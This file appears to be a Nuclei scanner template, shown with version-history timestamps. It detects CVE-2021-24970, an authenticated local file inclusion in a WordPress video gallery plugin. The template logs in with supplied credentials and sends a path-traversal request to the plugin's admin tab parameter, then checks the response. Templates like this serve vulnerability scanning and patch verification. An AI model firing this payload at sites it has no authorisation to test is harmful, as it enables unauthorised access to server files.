nuclei-templates/http/cves/2021/CVE-2021-24970.yaml

52 lines
2.1 KiB
YAML
Raw Normal View History

2023-03-19 14:44:56 +00:00
id: CVE-2021-24970
2023-03-18 22:07:09 +00:00
info:
name: WordPress All-In-One Video Gallery <2.5.0 - Local File Inclusion
2023-03-18 22:07:09 +00:00
author: r3Y3r53
severity: high
description: |
WordPress All-in-One Video Gallery plugin before 2.5.0 is susceptible to local file inclusion. The plugin does not sanitize and validate the tab parameter before using it in a require statement in the admin dashboard. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations.
2023-09-06 12:09:01 +00:00
remediation: Fixed in version 2.5.4.
2023-03-18 22:07:09 +00:00
reference:
- https://wpscan.com/vulnerability/9b15d47e-43b6-49a8-b2c3-b99c92101e10
- https://wordpress.org/plugins/all-in-one-video-gallery
- https://nvd.nist.gov/vuln/detail/CVE-2021-24970
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.2
2023-03-18 22:07:09 +00:00
cve-id: CVE-2021-24970
cwe-id: CWE-22
2023-10-14 11:27:55 +00:00
epss-score: 0.03639
epss-percentile: 0.90647
2023-09-06 12:09:01 +00:00
cpe: cpe:2.3:a:plugins360:all-in-one_video_gallery:*:*:*:*:*:wordpress:*:*
2023-03-18 22:07:09 +00:00
metadata:
2023-06-04 08:13:42 +00:00
verified: true
2023-09-06 12:09:01 +00:00
max-request: 2
2023-07-11 19:49:27 +00:00
vendor: plugins360
product: all-in-one_video_gallery
2023-09-06 12:09:01 +00:00
framework: wordpress
tags: wpscan,cve,cve2021,wp,wp-plugin,wordpress,lfi,authenticated
2023-03-18 22:07:09 +00:00
http:
2023-03-18 22:07:09 +00:00
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin.php?page=all-in-one-video-gallery&tab=..%2F..%2F..%2F..%2F..%2Findex HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: dsl
dsl:
- 'status_code_2 == 200'
- 'contains(content_type_2, "text/html")'
- 'contains(body_2, "All-in-One Video Gallery")'
- 'contains(body_2, "Hello world!")'
- 'contains(body_2, "Welcome to WordPress")'
condition: and
# digest: 4b0a00483046022100956543426c1a3cb28702d2e8552fb8fd116f02588dbb032d78db9f19aed48a790221009f8ad5ca8d136b7cc1bab095b3f467f55994ac4c2e7c1e04d24096fa6972f7f1:922c64590222798bb761d5b6d8e72950